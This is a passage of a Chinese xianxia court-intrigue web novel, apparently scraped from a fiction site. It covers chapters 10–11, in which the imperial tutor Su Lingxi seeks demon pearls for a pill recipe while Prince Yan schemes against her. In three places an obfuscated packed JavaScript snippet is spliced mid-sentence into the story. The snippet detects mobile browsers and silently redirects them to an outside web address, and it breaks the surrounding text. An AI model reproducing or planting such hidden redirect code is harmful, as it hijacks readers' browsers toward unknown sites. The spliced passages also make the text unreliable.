溪柳苦笑着回:“……以宣国公,中书侍郎为首的大臣们一直在上书,求陛下收回成命,令选他人代职镇妖司。” 苏聆兮不关心这些,垂了下眼就算听过了,相比这些,她更为关心另一件事:“先前让人送过去的画像,都呈给陛下看过了?” “看过了。”说到这,溪柳忍不住看了苏聆兮一眼,回:“看过后就放一边了,陛下好似……对此兴致不大。” 今上与言王薛淮乃同父同母的亲兄妹,言王与帝师同样大,陛下则小三岁,算一算,今年二十九。陛下还是公主时,有过一位驸马,当时言王在位,为胞妹挑的是天底下最出色的儿郎,乃礼部尚书的三子,仪表堂堂,文采斐然。 只是彼时公主性情软弱,驸马风流,在长安城里闹出了好几桩惹人笑话的事。 后来公主登基,执掌江山,驸马无疑成了帝王身上不容存在的污点,他以及他从前的美名,皆被悄无声息地拂去了。 今年开春,帝师便同陛下说起了选秀之事,只是谁知妖柜发生变故,在这等大事面前,选秀自然不宜再提。然而帝师好像并未放弃这种想法,前段时日,让宫中画师画了各府适龄的尚未婚配的公子画像送往宫中。 朝堂风起云涌。谁看不出这仍是公主党与言王党之间无声的战争? 天下谁人不知,陛下的皇位是从兄长手中抢过来的,直到现在两党都在激烈争斗,这时若有男子入宫,陛下留下子嗣,该如何册封?将来会不会继位?言王党自然一百个不同意,可又不能明说,只得暗地里百般阻挠,而在巨大的诱惑面前,有些家族并非不动心。 谁不想自家出个可能会成为皇帝的孩子。 有人说帝师此举是在大力拉拢人心,是对胶着的朝堂和无休止攀咬的言王党彻底没了耐心。溪柳猜不透帝师心中的想法,她只是觉得,帝师一向以大局为重,就算真有这种想法,也不该是现在。 “张谨之呢。” 没曾想话题一转跨度这样大,直接从陛下扯到了小官身上,溪柳愣了下,又看了苏聆兮一眼,很快答:“张大人这几日告了病假,在府上休养。” 苏聆兮沉默了好一会,半晌对她道:“你明天出去一趟,把他接进宫来住一段时间,劝劝陛下。” 溪柳起初以为自己听错了,瞳孔微缩,然触及苏聆兮神色,她并未多问,道:“是。属下一早就出宫。” 苏聆兮又安静下来。 溪柳以为她没话吩咐了,正准备退下,却见她曲着手指在桌边敲了下,低声问:“他又病了?” “是。这段时间京中闷热,多雨,张大人许是劳累过度,上半月又病倒了。不过医师去看过了,说无大碍,只是日后要更细致将养了。” 苏聆兮喉咙轻轻动了下,想说什么,最终没说,只是摆摆手让她出去了。 一夜无梦。 苏聆兮在藏书阁的西边小角楼里待了两天,皇宫里外潮起潮涌,角楼里却安然静谧,一盏清茶,几颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谁知由此熟悉起来。 举手之劳的契机结识位通晓天地的人物,苏聆兮没做过这么划算的事。 他会和苏聆兮说一些常人不知道的事,不知是不是巧合,这些东西后面帮了苏聆兮几次。 苏聆兮探究过老者的身份,但直觉深查下去不好,到底收了手。有时候实在有解决不了的事,她会向他请教,问有没有办法。老者好为人师,苏聆兮以晚辈身份请教他时,虽不应什么,可神色有时会无声柔和几分。 只是他游于四野,行踪不定,最近两年只出现过一次。 就在半个月前。 这次又出现,且留了灯,极有可能是那件事有消息了。 第二天夜里,夜幕低垂,繁星漫天,苏聆兮让侍从架了桌椅出去,又准备了瓜果,清茶和宜咀嚼的糕点。等了半个时辰,稳健的脚步自后方传出,苏聆兮揭下手中的符篆起身,朝老者颔首,道:“您来了。” 溪柳带着人无声退出很远。 老者花白的眉毛一挑:“你猜到我今夜会来?” “猜到了,但不确定。”苏聆兮弯腰给他斟茶,茶汤滚烫,她的手却极稳,低声说:“只是觉得今夜星月皆美,适合饮茶。” 老者拽着椅子准备坐下,眼神随意扫过她尖尖的下巴,道:“你今日似乎待我格外热忱。” “嗯。”苏聆兮将茶递到他跟前,郑重道:“因为有事相求。” “……” 跟苏聆兮打交道的有趣之处就在这了,她总能让人猝不及防,在意想不到的地方直截了当,这茶于是接也不是,不接也不是。 “还是上次说的事?”老头最终没接茶,但坐下去了。 苏聆兮颔首:“还是上次的事。” “上次您说一味药若能成,可治暗疾,抚本源,延年益寿。可药中至关重要的一步是浮花宗的护宗祖树结出的菩提子,祖树已经几年未结果,举世难寻。” “您给了我替代之法,说妖珠亦有此效用。” “上回同你说,你看上去不愿相信,看来这段时间是找人证实过了。”老者往椅子上一靠,身体后倾,双臂一抬环于颈后抬头看星星:“有求于我,是想要这方子具体实施步骤?” “对。” 老者不看她,自顾自摇头:“天下人都说帝师谨慎,多智近妖,正是妖物祸乱天下的时候,突然有方子用到妖珠,你也敢用?” 苏聆兮同样看向夜空,停顿半晌,开口道:“不愿相信,但别无他法,只能勉力一试。” 老者不摇椅子了,看上去好像清醒了点,侧首问她:“你身边有人伤得特别严重?” 10.第 10 章 苏聆兮没有说话。 “不成器的孩子们同我说,你派人查过老夫。” 见此情状,老者也不追问,他坐直身体,年轻时的锐气好似回光返照回到了这具老态龙钟的躯体里。 “查过。” 苏聆兮没什么压力地接住这道注视,平静阐述事实:“我并不相信世上有无缘无故且不求回报帮助我的人,若我能坦然接受从天而降的善意而从不怀疑,也活不到现在。” 老者颇为认同:“这话不错。” “查到半途又收手,是已经猜到了?” 苏聆兮莞尔。 “那么。”老者说话时脸上皱纹似乎都被抹平:“想从老夫这里拿东西,你也猜到老夫这次想要拿回的东西了? ” 苏聆兮眼眸略弯:“您这几年拿不少东西暗示过我不少次,但都没有这张方子带给我的吸引力大,毕竟,这是我自己提出的要求。” “长安城如今不太平,我不便出去,您代我跟流云宗掌门提前说一声恭喜。只要这丹方成了,自此后,他便能将自己是流云宗罪人这句口头禅改了。” 老者忍不住眯了下眼睛。 十四年前先皇薨逝,叛军各地称王,攻进长安城,彼时拥护新皇的大多是前朝的文臣,空有一腔孤胆,手无缚鸡之力。靠他们守住城门和四面八方涌来的叛军,简直是白日做梦。 世人皆知,当时顶住叛军的是一心追寻人间大道,不问俗世的三大宗。而流云宗又是那个被迫一马当先上去打头阵的。 外人不知苏聆兮给了流云宗什么好处,唯有流云宗内的元老们知道事情内情。 十四年前流云宗的宗主并非现在这位,而是他的胞弟,早年也是惊才绝艳之辈,只是后来修炼时走了岔道,修为难以寸进。 十八岁的苏聆兮如天神降世般出现在他面前,说可以同他做个交易。 点香术啊。 那大概是走火入魔之人能捉住的唯一一线天光了。 若是只跟当代宗主做交易,也不至于让他一个行木将就的老头都跟着发愁。 世间亘古长存的东西皆有代代相传的根基底蕴,正如浮玉有独一份的仙术,有门,人皇手里有镇国印与龙脉,浮花剑宗有菩提祖树,天禅寺有宝库,他们流云宗的镇宗之宝则是一只石兽。 石兽有灵,灵乃汲取历代坐化的前人先辈的意志凝就而成,也恰巧是十几年前才生出的灵智,如稚子般幼嫩。 苏聆兮要了宗主的承诺,也要了石兽的承诺。 现在石兽身上还捆着锁链。 因为这等羁绊,流云宗直到现在还于明面上站在苏聆兮这边,废立皇帝这种遗臭千年的事都横插了一脚。 “我给出了药方,能不能凑齐成丹所需的东西,要看帝师你的本事。”老者从怀里捧出一个石匣,用掌轻轻一推,匣门拉开,一张动物皮子出现在眼前,“看看?” 苏聆兮也不客气,伸手接过,置于膝前观看,半晌,捏着牛皮阖了下眼。 她知道不是所有的妖珠都有用,若是有用,典籍上不会毫无记载。妖珠容易发臭,一旦发臭味道难以清除,因此诛妖队行动时习惯直接将它们捣碎,从不带回镇妖司或另做他用。 但没有想到条件这样严苛。 排名前二十的妖物妖珠……苏聆兮最近给妖物新写排名,改动的都是三十以后,七十以前的排序,前二十的序列不会有人想着调整。 苏聆兮要浮玉那支精锐等在镇妖司听调令,等的就是这些难缠的东西。 两天前镇妖司的地牢里,三眼蟾的表情足以证明有东西绕过阵法蛰伏进了长安。 它们一但出现,长安城必定大乱。 苏聆兮摩挲着牛皮的表面,一个个字符凸起,从指腹中擦过,又传到脑海中,由她反复确认。 老者也不催她,甚至伸手接过了她泡的那盏茶。两人认识也有几年了,这小娃心眼精得跟什么似的,不会轻易上钩,能让她心动的东西不多。可正如她自己所说,既然是她提出来的,证明她当真需要。 她有魄力吞下它。 没过一会,苏聆兮收起牛皮,没有递回给他,而是搁在自己手边,道:“我不愿见这些东西出现在大胤任何地方。可如果它们注定出现,妖珠取来一用,无有不可。” 老者长长舒了口气,脸一松,这下能放心喝茶了,同时不忘和苏聆兮说清楚:“自今天起,你自己做事前掂量清楚些,天禅寺早和你撇清关系了,他们只认龙气在身的皇帝,据我所知,龙气现在有一半在言王身上?流云宗不站你这边后,你身后就只有浮花剑宗了。” 想起朝中的局势,谁都忍不住摇头。 苏聆兮笑着颔首:“掂量着呢。” “丹成那天,我会给你们圣兽解绑的。” 时隔十余年,终于甩干净这摊烂账,老者离开皇宫时浑身舒爽,走路都好似带着风,背影年轻了好些岁。 苏聆兮看着眼前的茶盏,茶叶被夜风吹得直打着旋,含笑的眼睛渐渐冷淡下来,眼尾压得笔直利索。 溪柳从远处过来,站在她身边,见状开口:“大人。” “嗯。” 苏聆兮应了声,走了会神。 她拉开牛皮又看了一眼,想,排名如此靠前,若不尽快解决,一定会卷起腥风血雨,死伤难以估算,而想快速解决,最好是让那支队伍出手,甚至叶逐叙与桑褚亲自带队。 并非每一场战斗苏聆兮都能参与,那毕竟是个团队。就算参与了,她要如何在那些人的眼皮底下将妖珠带走——即使它在常人眼中根本无用。 桑褚一直想以她作为突破口获取某些信息,一旦察觉她需要妖珠,必定以此为条件来同她做交换。 她不相信他们,更不愿意与浮玉做交易,但并非不能抛出诱饵先拿到妖珠。 只是有位最棘手的。 浮玉十六支队伍,叶逐叙一来,都由他管。 两天前苏聆兮还想着暂且远离这位指挥使,此人恣睢桀骜,性情不定,危险而不可控,与她有着难以纾解的私仇。不论从前还是现在,与这样的人打交道是她最不喜欢的。 总会无故生出许多波折来。 而现在她却不得不考虑—— 这位指挥使恶劣归恶劣,终究没有更出格的举动,证明他清楚自己的身份。两天前的夜里,他气也撒了,人也吓了,不知现在能不能心平气和地坐下来好好谈一谈了。 毕竟,苏聆兮需要的妖珠不止一颗。 == 被镇妖司关了三天两夜的陈尚仅仅只在府中休养了一夜,翌日清晨便拖着疲惫疼痛的身体上了顶灰蓬小轿,绕过热闹的街市,出现在长安城西郊的庄园里,停在侧后门。 在镇妖司中的每一刻都绷着神经,根本无法入睡,昨夜上了药更是疼痛难忍,辗转难以入眠。这会车马一颠簸,陈尚忍不住眯着眼睛一路打盹,直到车身一顿,小厮道:“世子,到了。” 陈尚霎时清醒。 他整理衣冠,步下马车,园里来了位管事上前行礼,领路。 陈尚环顾四周,低声问:“王爷真说今日见?” “是。”管事引着他们往前院去,恭敬道:“几位大人也来了。” 大胤只有一位亲王,便是自皇帝位上退下来的言王薛淮。 地位尊贵,但也尴尬。 天正是最热的时候,每每天一亮,太阳就跟着出来了,火伞高张,烈日熔金,这两月言王都在园子里住着。 步入内院,最先见到的是一面巨大的降香黄檀木经橱,最先闻见的是熬开了的苦涩药汤味。 世子陈尚目不斜视,上前一步,掀起衣袍双膝一跪,垂首垂眼:“参见王爷。” 隐约听见一声闷咳,随后有侍从将陈尚扶起来,并且抬了张宽椅进来。 屋里还坐着几位朝中大员,穿着私服,正襟危坐,每人手边都摆上了几碟糕点一盏茶,然谁也没动。一大早出现在这里,没人有品茶的闲情逸致。 女侍轻轻掀起两层垂落的轻纱,又掀起珠帘。 言王并未坐在嵌着宝珠,铸着金蟒首的大座上,他站在紧闭着的窗边,身边女侍将浓稠的药汁端上来,看他饮尽,又立马递上漱口的清水,送上干净的帕子。 做完这一切,侍从们皆无声退下。 隔着道门帘,言王抬眼看陈尚,问:“镇妖司对你用刑了?” 陈尚眼睛跳动了下,恭敬地回:“些微皮肉之痛,不日便能恢复,谢殿下关心。” 言王手掌虚握,抵在唇边低咳一声,歇了歇,方又道:“辛苦你了。” 陈尚急忙拱手,道:“不敢。” 这位三年前被苏聆兮以身体孱弱,实不宜操劳国事为由贬为亲王的九五至尊,除了身体与子嗣,没有第三件让臣下觉得不满的地方。 十八岁之前大臣们看言王薛淮,也觉得好,皇子嘛养尊处优难以避免,胜在虚心刻苦,肯学,是长安城中白雪一样的少年。然终究不是作为太子培养的,仁心良善有余,魄力却不足。 哪知两年流亡辗转,回来稳住了江山,又在皇位上稳稳当当坐了十年。 今三十不惑,才德兼备,更具帝王心性,运筹帷幄,懂杀伐,也知止杀伐。正是朝局稳定,明君正道,天下清明时,他却猝不及防退位了。 还是被迫退位。 怎能不让人崩溃。 陈尚抬了抬头,看到言王狭长的凤眼。薛家人都长了这么双眼睛,笑的时候叫人如沐春风,不笑的时候威仪昭然。 撇开毫无血色的双唇,就连长相都挑不出毛病来。 而原本,病弱也不该成为他的缺憾。 是因先皇过世时,作为独苗活下来的言王被下了至毒,被带进浮玉后又未及时清除,拖得太久累及肺腑,这才掏空了身体。若不是有半道龙脉护着心脉,又以各种滋补药物常年温养,他都活不到现在。 即便是这样,在吃穿用度上也需格外注意,冬天畏寒,得住暖阁,暑天畏热,得来凉殿。 “……只是,臣才出镇妖司,一早就来见王爷,不知那边会不会派人一路暗查。”陈尚如是道。 言王袖边微垂,声音温润,含着平稳的浅笑:“将你放出来,不正是她的命令么。” “说一说。”他缓步行至陈尚身边,亲自伸手抵了下他拱起的双掌,示意他起身,免虚礼,“她让你给我带什么话了。” 陈尚说起自己在镇妖司两天一夜的遭遇。 说到三眼蟾,说到苏聆兮的身手,又说她对陛下的命令也并非全然听从。 言王听得细致,时不时问一句更为细节的东西,双手掩于袖中,自然垂下,眼中却始终看不出什么波澜。 倒是坐着的两位臣子有些按捺不住了,他们觉得既然是苏聆兮自己给出的讯息,何妨一试。有时候人的犹豫挣扎转瞬即逝,错过就再也抓不住了。 尤其是苏聆兮这个奇异到难以捉摸之人。 骂她是乱臣贼子,居心不良吧,她做了许多于国于民有益的事。 这些年每每遇上国家大事,在司中通宵达旦想对策,彻夜不眠的人中一定有她一个。贪墨案,赈灾活,一团糟的税务,许多棘手的事她都亲力而为。 就算给江山换了个皇帝,也并非是拿公主当傀儡,干垂帘听政的事。她在手把手地教公主敲掉言王布下的棋局,培植自己的力量,有些无关紧要的地方甚至在慢慢放权。于是不到三年,竟也有不少人真心实意地称软弱的公主为陛下。 这对他们而言并非好事,可正因如此,更想竭力争取苏聆兮。 一个不想当皇帝,没想法染指江山的权臣,简直可以称为纯臣。 不为江山,不为权。 也不为名——苏聆兮压根就没有过这东西。 那她做这些骇人听闻的事,究竟是为了什么。 谁也不懂。 不过他们也没懂过苏聆兮。 听到某处地方,言王嘴角轻轻扯了下,问:“她问三眼蟾长安城中是不是混入了排名靠前的妖物?” 陈尚道:“是。” “最后一个问题是什么?” 陈尚想了会,摇头道:“那会动静太大,臣没有听清。” 言王不由静默。苏聆兮这几年一直是这等作风,给你看的,给你听的,永远是能丢给你知道的,而真正不能让人知道的,谁也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976940|160687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会知道半个字。 怎会是摇摆。 分明是警告。 言王平视前方,眼睛似被刺目的光炫了一下,不受控制眯起眼。 有那么短短刹那,他好像在隔空与苏聆兮对视,甚至能清楚看见她嘴唇翕张,极冷漠地跟他说长安城大妖蛰伏,你不想死就别在这个时候生事。 又或者是在说,妖柜破碎,妖物乱世这件事最好不是你做的。 言王心中一想,咳嗽之意又涌上来。 他用手帕在空中压了压,示意他们继续说,自己在听,待屋里安静下来,他才开口:“诸位以为,我们该给苏聆兮准备怎样的示好?” 内里更静。 能给什么。 权势?金钱?苏聆兮身边连个沾亲带故的人都没有,行贿都行不通。 什么也不缺,还什么也不要。 今天来的有老臣,也有随父辈前来的跟陈尚差不多年岁的青年,有些想法,但涉世未深,前头出谋划策跃跃欲试的多是他们。几个年长的坐在椅子上八风不动,不说只言片语。 其中一个此时才开口,说的是正事:“王爷近来身体如何,听闻神医换了种新的药方,病情是否有好转。” 另一位点头,接道:“庄园虽然凉爽,可长安城开始出现妖物,这儿终究不安全。王爷尽快转回王府将养方是上策。” “已经在安排了,明日便回。”言王道:“来这有段时日了,该回去了。” 至于身体如何,他没答,实在是无需作答,这么多年他身体是什么状态,谁不知道。能有什么好转?维持老样子不继续恶化就算好事了。 又有人对视一眼,说起宫中的事:“王爷,帝师着人为陛下准备了些公子的画像。” 言下之意,谁都懂。 老臣们又不说话了。 言王早先知道了这件事,语气平平:“陛下年岁到了,身边总要有人伺候。” “她为陛下选了哪几家的公子?” 开口之人在脑海中回忆了一番,道:“姑苏言家二公子,汝南尚家大公子以及礼部尚书的四子。” 说到最后一个人时,言王怔了怔,几个老的也转头对了个眼神。 “礼部尚书的第四子。老臣记得是庶子。” “可不是。”那人朝说话之人拱了下手,接着说下去:“还是先……驸马的幼弟。” “这几人是苏聆兮选的。臣去问过,那边说苏聆兮选人未看家世学识背景,说长得好看,能让陛下欢心就行。” 兄弟共尚一主,听来也是无比荒谬。 一听是苏聆兮说的,又觉得是,是她能做出的事。 两位官阶最高,门生最多的老臣今日一来,一为听镇妖司内情况,二为劝言王回王府养病,如今听也听了,劝也劝成了,纷纷闭上了眼睛。 朝堂里水深得可怕。公主上位都三年了,先前那样柔软的性情而今做事还真像模像样了,眼看局势对他们越来越不利,言王党永远是闹得凶,闹得凶,却闹不出什么真正的大水花来。 别说逼宫了,就连正儿八经的举事也没一次。 为什么? 三足鼎立的局势一旦形成,小打小闹压根撼动不了什么。 苏聆兮背后有着三大宗,还有她扶持的清流们。陛下手里有镇国印,有半条龙脉,有慢慢养起来的女官。王爷身后则是他们这等长安老勋贵。 你瞧苏聆兮,有将他们的弹劾当回事么? 在没有万无一失的把握之前,就只能做一条有威胁却不莽撞行事的蟒,伺机而动叼走每一口属于敌人的肉,再等待时机将敌人一击毙命。 更何况,王爷,陛下与苏聆兮之间的牵绊比世人想象中更深。 从某种程度上说,他们更了解彼此。 正因了解,更不会轻举妄动。 “还有一事。”陈尚道:“这次浮玉负责带队出门的人怕是到了,一直空悬的名姓公布了。” 言王端着碗边,静静凝视着漆黑的药汁倒影,正要饮下今日第二碗药。 他很早就查了这次浮玉来人间的名单。 为了得到这本名册,废了不少安插在镇妖司中的暗桩。 十六支队伍,许多个陌生的名字,只有寥寥一两人的名字还让他有些印象,带队之人名叫桑褚。 没听说过。 看来这十四年里,浮玉仍是人才济济,又培养出不少好苗子。 思及此,言王垂眼,听陈尚道:“——叫叶逐叙。” 上首碗盏碰撞,落地发出迸溅的清响,厅下之人有不少站起身来,唤:“王爷。” “无碍,一时不查。”言王拂开女侍,自己用手帕将手背上的药汁擦净,扫了眼陈尚,低声问:“叫什么。” 陈尚张张嘴:“……叶逐叙。” 言王有段时间没有说话,不知道在想什么,少顷,他招招手,道:“我记得户部侍郎家中有位寄住的小公子,玉貌清奇,仪容不凡,近日在长安城颇有名气。” 在座都是男子,小到十几大到几十,谁会关注哪家有几位小公子呢。 也不知王爷突然问这做什么。 这话一时没人接,最后还是最好与狐朋狗友一道寻欢作乐的陈尚站出来道:“好像是有这样一个人,今年十七。” “十七。年岁也好。” 言王点点头,看着手背上苍白的纹理,接着道:“去问问他与礼部尚书家那位四公子,愿不愿意卖本王一个面子,去帝师的空置别院住段时日。” 闻言,所有人皆是一愣。 “再寻个苏聆兮在镇妖司的时间,让人给她带句话。告诉她,这是本王按照她的喜好千挑万选出来的心意,请她务必将人留下,不要辜负。” 为首的大臣意识到不妥,此举对他们而言毫无好处,白白消耗时间精力,还要再废掉几个暗桩,于是皱眉上前:“王爷——” 言王视线扫过来,并不严厉,但能镇住所有人:“去办吧。” 这才是曾经的君王真实的模样。褪去温和表象,一言一行都是不容人置喙的威严。 老臣见状也只得拱手,压住满腹疑惑,垂首道:“是。” 11.第 11 章 大家吃惊也有原因。 并非没有人给苏聆兮送过男子。 她不收。 若是自己人送,她便说自己府门前红漆还没料理干净,自己护自己一个都够呛,收了非但难成美意,还可能搭上人小公子一条命,多可惜。若是外人送,她会直言自己没有收内应的喜好,将来大概也不会有。 起初大家以为没送到心坎上去,都下了功夫,直到什么类型,什么年龄都试了一遍,才慢慢的放弃了。 还有另辟蹊径送女子的。 当年言王还是皇帝时,听到暗卫们说这等秘闻,要么笑要么摇头。 不论是他还是现在的陛下,都没给苏聆兮送过人,没赐过婚。从前有心腹之臣如是建议,言王只道这招是昏招,会招苏聆兮伤心,适得其反。再等等吧,等几年。 等到现在,几年又几年过去,曾经提建议的都歇了这心思了,言王自己倒提起来了。 而不论怎么看,现在都不是个好时机。 前脚苏聆兮将礼部尚书家四公子的画像呈给陛下看,后脚言王便将这小公子送给苏聆兮,这不像是示好,这像是要挑衅。 这回就连老臣也摸不准言王的心了。 = 七月二十六,苏聆兮回镇妖司时正是昏暮之交,残阳似血,日月重光 。 这两天余临安用符篆联系了她,说没有查到那两种妖物场域的记载,但翻到了一些别的东西,等她哪天回镇妖司了同他说,他将东西带给她。 苏聆兮自然不会拒绝,回去之前先给他发了消息。 没过一会,余临安出现在南院。他融入得倒是快,短短不到一个月的时间,已经完全把自己拾掇成了地地道道的长安人,穿着乌皮六合靴,腰挂蹀躞,上头悬着弯刀。 “浮玉规矩多,守着这些东西跟守什么宝藏一样。”余临安单手撑着围栏甩手往下跳,道:“走吧,去我们那。” 那夜之后,北院每天都会发生新的变化,苏聆兮会收到来自属下的禀告,对她而言只要浮玉在诛妖一事上尽力,改不改房屋构造,如何改都是不足挂齿的小事,随便这群人怎么折腾。 然而眼前所见终究不同,她的脚步在踏进北院大门时微不可查停顿一瞬。 入目是两棵交互盘踞的钢铁巨树。树高数十米,华盖如倾,主干需十数人环抱那样粗壮,如虬龙破土,枝枝蔓蔓傲然在天穹盛放,最令人称奇的是每一根岔开的小枝丫,每一片叶片都呈乌黑之色,在日光与月光交汇中泛着粼粼的寒光。 它们完全由钢铁铸成,在一层遮盖视线的结界中自由舒展。 些微的风吹不动它们,唯有狂风骤雨时叶片会随着雨点击打的方向齐齐摇晃,碰撞,叮叮作响,而后挤弄出各种烟花绽放的姿态,给人惊心动魄的视觉冲击。 “傀术。”苏聆兮站在树下欣赏了会,眼睛里满注亮闪闪的金属光泽,璀然夺目,由衷感叹:“真好看。” 除了好看,树中另有玄机。 就在她话音落下后,树腰后某个看不见的角落里突然甩出一根长长的铁藤条,甩在空中像一尾猎猎炸响的长鞭,掀起扑面的火辣阵风。一个人手里抓着灵球荡下来,轻飘飘落地,目不斜视往外走,见到余临安后又倒了回来:“今夜喝酒去啊,去不去?” 余临安没答,倒是另一个躲在树后偷懒的人拨开了脸上的黑色叶片,往树下看过来:“去,去。长安城的美酒与胡姬我听人提起许多次了。” 说完见到了苏聆兮,两相对视,这人猛的一翻身,多见不得人一样立马将压着的枝干一松,叶片弹起来,再一晃,将一张脸遮得全然不见了。 余临安不忍直视,带着苏聆兮往正堂里去。 这里也被改造过,案桌上撂了一叠竹简,堆得小山一样,苏聆兮先往四处走了走,敲了敲墙壁,发出空透的笃笃声,余临安为她解释:“把壁橱和屏风盆植都拆了,扩了两间刑讯室。放心,我们听不见里面的动静,里面也听不见我们的。” “听见也没事。”苏聆兮莞尔,并不在意,她不会同他们聊不能聊的东西。 “这种在你面前行为不正常的,大多都学点香术,见到你有些紧张,不用在意。”余临安率先在长案前坐下,拍开最上面那面竹简,这并不是原籍,而是他看过之后誊抄下来的,饶是这样,给苏聆兮看时还得找第三人在场看着。 桑褚或白绡等下就来。 “见到我会紧张?”苏聆兮抚了下面颊,失笑:“我那些事吓不着他们吧?” “吓不着。紧张是因为你点香术厉害,见到自己传闻中的前辈,肯定会比平时庄重些,想留个好印象嘛。” 苏聆兮点点头,轻易接受了这个说法,见他已经将竹简翻开了,习惯使然地去够笔架上悬着的墨笔,拿在手中转了圈才反应过来似的,信口一问:“还是厉害的前辈么?我不是被浮玉除名了?” 余临安动作一顿,声音一哑。 他有些不自然地侧头看苏聆兮。 苏聆兮少年时的长相其实与自身性格十分不符,圆脸圆腮圆眼睛,瞳色偏浅,在炽烈的阳光下会呈现才熬出不久,将凝未凝的糖稀色泽,月儿眉,长头发发尾带点自然的卷边,看上去是又听话又乖巧。实际上古灵精怪,眼睛一弯,狡黠一转时,说她憋着满肚子坏水也不为过。 现在瘦了许多,圆脸成了瓜子脸,手腕细,下巴尖,身份变了,整个人的气质跟着变了,谁都不会再用乖巧可爱一词形容她。唯一没变的是眼睛和瞳色,但再怎么认真看,现在能从里面窥见的只有坦然与随性从容。 她坦然地接受了自己被除名一事,觉得没什么是人生中说不了,过不去的。 一时恍惚,余临安甚至分不清门的惩罚究竟对谁更残忍一些。 他不知怎么回,干脆不回,定定神指着竹简说:“这些东西你不来我们也会找给你。浮玉没记载弱小的妖物,记录在册的排名都在前三十,也是我们这次清扫的主要目标,它们比较棘手,因为本源强大,且会化人形。” 苏聆兮睫毛倏的掀起来,问:“什么?” 握着笔的手指下意识绷紧,而后道:“我没听过这种说法。” “我们也才知道。”相比于这个,余临安显然觉得苏聆兮将人忘得精光这事更严重,让人消化了半个月还觉得扎心,“它们被关在柜子里千余年,出不去,但也在应运天地变化充盈自己。力量比被封前更强了。” 这些东西常人不知道,唯有封存它们的东西才有可能感知到,苏聆兮反应过来求证:“门说的?” “半个时辰前来的传信。” 苏聆兮抿了下唇,随后排开竹简逐一翻阅,无数种想法在脑海中碰撞,成型又被推翻,厅中一时阒静。也就是在这时,桑褚和一名男子前后走了进来。 苏聆兮抬头一看,发现正是方才那个说要喝美酒看胡姬的。 看完所有竹简,她轻轻合上最后那卷,用系带原样系上,食指摩挲着桌边。 妖物以恶念为本源,以兽类身躯为载体,这是常识。 一些不入流的东西本源不强,就爱将自己的身躯堆得肿胀欲裂,难以直视,亦是常态。而本源强到可搅云弄雨,颠覆乾坤时,现世中最为凶猛的豺狼虎豹焉能载住它们,它们又岂会为自己择选那样的躯壳,为自己精心堆塑的往往为洪荒巨兽。 早在千年前,就有记载称有妖物以魇、九头鸟、赑屃、兕这样的形象横扫天地,收割无数性命,所过之处鲜血在土地里凝成暗红色,煞气犹如实质直冲云霄。 苏聆兮没想到的是,它们会化人形。 她整理了下思绪,看向桑褚有条不紊地开口:“能化人形意味着只要它们想,就可以轻易潜伏在人群里,躲避镇妖司的盘查追踪,并在关键时候金蝉脱壳,隐于暗处伺机而动。我们人力有限,做不到挨个核查,它们在暗处却可以秘密谋划一场又一场血腥惨案。” 这种东西的天性不会改变的。走到哪,灾祸就会跟到哪。 苏聆兮顿了顿,收回手指,一字一句说出自己最大的顾虑:“我不知道它们会不会联手。” 若是联手,局面难以控制。 太被动了。 “你放心。”桑褚朝苏聆兮点头,清声道:“有人能逐一锁定它们。” 苏聆兮提起的心微落,很快又意识到什么,唇齿一抵,抵出意味不明的轻声:“叶逐叙。” 桑褚朝她点点头。 来前心里设想是一回事,事实真如此又是一回事。 情况比想象中好,好在最棘手的那些有人能够追踪锁定。取妖珠却比想象中更难,难在要从叶逐叙手中得偿所愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14981103|160687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 苏聆兮忍不住垂了下眼,跟气笑了一样揉了揉眼尾,喉咙里浅浅起伏一下,为这种好像注定了为难人的要命巧合。 静默须臾,一直站在桑褚身后的男子抓了抓头发,又挠了会下巴,最终挪出来半步,欲言又止。 苏聆兮看了看他,思及半个时辰前的情景,提笔蘸墨,翻开一卷新的竹卷,安静伏案。余临安不知道她在写什么,等了一会,见她将东西递过来,拿到跟前一看,愣住。 “长安戌时敲响街鼓,宵禁直至天明。东西市关闭,有些里坊还开着,胡商手里的酒极为醇香,粟特女子会在他们开设的酒楼里持银壶跳胡炫舞,拓枝舞,只是这样喝到的酒价格会昂贵许多。龟兹乐人的曲好听,彻夜不休。” 苏聆兮点点那竹简,略略一抬下巴:“这些酒楼有时需要暗号,都写下了,若有看不懂的你问问溪柳。” 余临安嘴巴都张大了,苏聆兮的字连笔依旧多,可该死的他发现自己居然全都看得懂。 原本想跟前辈认识认识的田绛早在苏聆兮说第二句时就收回了脚,待她说完,人已经完全站回桑褚身后。 桑褚听了会,皱眉:“你们要去哪?” 他看向花里胡哨的余临安,又嘱咐:“别带绡绡去。” 余临安猛的将竹简卷起来,丢也不是握也不是,半晌握握拳说他不去,真不是他要去,就算去也不带绡绡去,他没这么不当人,末了咂摸出不对劲,看向如数家珍的苏聆兮:“你现在喜欢饮酒?” 苏聆兮似笑非笑地螓首:“也喜欢观舞,听曲,赏戏。” “我记性越来越不好了,忘了浮玉都有些什么消遣。”她指尖点了点自己的眉心,不知是不是故意的:“但长安繁荣鼎盛,声名远扬的必不让人失望,尽可一试。” 桑褚礼貌道好,余临安头一扭不想说话。 